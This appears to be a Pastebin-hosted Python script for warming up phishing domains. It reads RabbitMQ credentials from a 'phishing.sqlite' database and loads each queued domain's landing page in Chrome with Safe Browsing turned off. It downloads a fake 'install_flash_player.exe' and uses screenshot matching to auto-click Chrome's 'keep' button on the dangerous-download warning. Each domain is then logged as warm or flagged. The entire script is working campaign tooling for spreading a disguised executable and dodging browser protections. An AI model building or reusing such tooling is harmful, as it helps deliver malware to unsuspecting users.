Guest User

Untitled

a guest
Apr 15th, 2019
45
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.32 KB | None | 0 0
  1. import os
  2. import time
  3. import random
  4. import pika
  5. import sqlite3
  6. import json
  7. import numpy
  8. import datetime
  9. import pyautogui
  10. import cv2 as cv
  11. import csv
  12. from selenium import webdriver
  13. from selenium.webdriver.common.by import By
  14. from selenium.webdriver.support.ui import WebDriverWait
  15. from selenium.webdriver.support import expected_conditions as EC
  16. from selenium.webdriver.common.action_chains import ActionChains
  17.  
  18.  
  19.  
  20. # main function
  21. def main():
  22. try:
  23. data_from_database()
  24.  
  25. channel = connect_to_rabbit_mq_server()
  26. channel.basic_qos(prefetch_count=1)
  27. channel.basic_consume(start_testing, queue=queue)
  28. channel.start_consuming()
  29. except Exception as e:
  30. print(e)
  31. main()
  32.  
  33.  
  34. # function for getting data from database
  35. def data_from_database():
  36. global user
  37. global password
  38. global queue
  39. global host
  40. global log_file
  41.  
  42. conn = sqlite3.connect('phishing.sqlite')
  43. c = conn.cursor()
  44.  
  45. user = c.execute('SELECT value FROM configurations WHERE key_data=\'rabbit_mq_customer_user\' LIMIT 1;').fetchone()[
  46. 0]
  47. password = \
  48. c.execute('SELECT value FROM configurations WHERE key_data=\'rabbit_mq_customer_pass\' LIMIT 1;').fetchone()[0]
  49. queue = \
  50. c.execute(
  51. 'SELECT value FROM configurations WHERE key_data=\'rabbit_mq_warm_up_queue\' LIMIT 1;').fetchone()[0]
  52. host = c.execute('SELECT value FROM configurations WHERE key_data=\'rabbit_mq_host\' LIMIT 1;').fetchone()[0]
  53. log_file = c.execute('SELECT value FROM configurations WHERE key_data=\'log_file_name\' LIMIT 1;').fetchone()[0]
  54.  
  55. conn.close()
  56.  
  57.  
  58. # function for connection to RabbitMQ server
  59. def connect_to_rabbit_mq_server():
  60. global credentials
  61.  
  62. credentials = pika.PlainCredentials(user, password)
  63. connection = pika.BlockingConnection(pika.ConnectionParameters(
  64. host=host, port=5672, credentials=credentials)) # open connection
  65. channel = connection.channel() # get the channel
  66. channel.queue_declare(queue=queue) # set the queue
  67. return channel
  68.  
  69.  
  70. # main script for testing
  71. def start_testing(ch, method, properties, body):
  72. print()
  73. ch.basic_ack(delivery_tag=method.delivery_tag)
  74. data = json.loads(str(body, encoding='utf-8'))
  75. available_browsers = ["chrome"]
  76. domain = data['domain']
  77. lp_id = "/?pcl=RAlMYKkYqxEkc0BG7-gS6YBXYoZtwHJrAnLZrvPqfQE.&stub_name=1859&lp_id=4&c=fda94ece5f135810614a75799153bab6&test=1"
  78. download_timeout = 20
  79. download_folder = "C:\\Users\\Win7\\Downloads\\"
  80. # Keep checking forever
  81. # while True:
  82. try:
  83. # Select random browser
  84. rand_browser = random.choice(available_browsers)
  85.  
  86. if rand_browser == "firefox":
  87. # Firefox
  88. profile = webdriver.FirefoxProfile()
  89. profile.set_preference("browser.download.folderList", 2)
  90. profile.set_preference("browser.download.manager.showWhenStarting", False)
  91. profile.set_preference("browser.download.dir", download_folder)
  92. profile.set_preference("browser.helperApps.neverAsk.saveToDisk", "application/octet-stream")
  93. browser = webdriver.Firefox(profile)
  94.  
  95. elif rand_browser == "chrome":
  96. # Chrome
  97. chrome_options = webdriver.ChromeOptions()
  98. prefs = {"download.default_directory": download_folder,
  99. "download.prompt_for_download": False,
  100. "directory_upgrade": True,
  101. "profile.default_content_settings.popups": 0,
  102. "profile.default_content_setting_values.automatic_downloads": 1,
  103. "safebrowsing.enabled": False}
  104. chrome_options.add_experimental_option("prefs", prefs)
  105. browser = webdriver.Chrome(executable_path="chromedriver.exe", options=chrome_options)
  106. else:
  107. quit(1)
  108. try:
  109. status_404 = False
  110. wait_driver = WebDriverWait(browser, 10)
  111. print(domain + lp_id)
  112. browser.get(domain + lp_id)
  113. download_button = wait_driver.until(
  114. EC.presence_of_element_located((By.CLASS_NAME, "download_link")))
  115.  
  116. if not(EC.presence_of_element_located((By.CLASS_NAME,"download_link"))):
  117. status_404=True
  118.  
  119. time.sleep(2) # Wait page to load
  120.  
  121. # Move mouse to download button and click
  122. action = ActionChains(browser).move_to_element(download_button)
  123. action.move_by_offset(200, 200)
  124. action.move_to_element(download_button)
  125. action.click()
  126. action.perform()
  127.  
  128. timer = 0
  129.  
  130. # Wait until file is downloaded
  131. file_path = download_folder + "install_flash_player.exe"
  132. while True:
  133. if timer >= download_timeout:
  134. if rand_browser == "chrome":
  135. click_keep_button(domain, status_404)
  136. break
  137.  
  138. if os.path.isfile(file_path):
  139. if os.path.getsize(file_path) >= 20019904:
  140. if rand_browser == "chrome":
  141. click_keep_button(domain, status_404)
  142. break
  143. time.sleep(1)
  144. timer += 1
  145.  
  146. browser.close()
  147.  
  148. time.sleep(2)
  149.  
  150. # Delete all files
  151. filelist = [f for f in os.listdir(download_folder)]
  152. for f in filelist:
  153. file_name = os.path.join(download_folder, f)
  154. os.remove(file_name)
  155.  
  156. except Exception as e:
  157. browser.close()
  158. print("Something went wrong, error: " + str(e))
  159.  
  160. except Exception as e:
  161. print("Could not create browser, error: " + str(e))
  162.  
  163. def log_to_csv(domain, warmed, status_404):
  164.  
  165. with open('log_warm.csv', mode='a') as log_file:
  166. log_writer = csv.writer(log_file, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
  167. if status_404:
  168. log_writer.writerow([domain, datetime.datetime.now(), '404'])
  169. return
  170. if warmed:
  171. log_writer.writerow([domain, datetime.datetime.now(), 'warm'])
  172. else:
  173. log_writer.writerow([domain, datetime.datetime.now(), 'not_warm'])
  174.  
  175. def click_keep_button(domain, status_404):
  176. try:
  177. if status_404:
  178. log_to_csv(domain, False, status_404)
  179. return
  180. pyautogui.screenshot('screenshot.png')
  181.  
  182. x_coordinate = 0
  183. y_coordinate = 0
  184.  
  185. img_rgb = cv.imread('screenshot.png')
  186. img_gray = cv.cvtColor(img_rgb, cv.COLOR_BGR2GRAY)
  187. template = cv.imread('keep_example.png', 0)
  188. res = cv.matchTemplate(img_gray, template, cv.TM_CCOEFF_NORMED)
  189. threshold = 0.8
  190. loc = numpy.where(res >= threshold)
  191. for pt in zip(*loc[::-1]):
  192. x_coordinate = pt[0] + 5
  193. y_coordinate = pt[1] + 5
  194.  
  195. if x_coordinate != 0 or y_coordinate != 0:
  196. pyautogui.moveTo(x_coordinate, y_coordinate)
  197. pyautogui.click()
  198. log_to_csv(domain=domain,warmed=False, status_404=False)
  199. time.sleep(10)
  200. else:
  201. log_to_csv(domain=domain,warmed=True, status_404=False)
  202.  
  203.  
  204. except Exception as e:
  205. print(e)
  206. # run script
  207. main()
Add Comment
Please, Sign In to add comment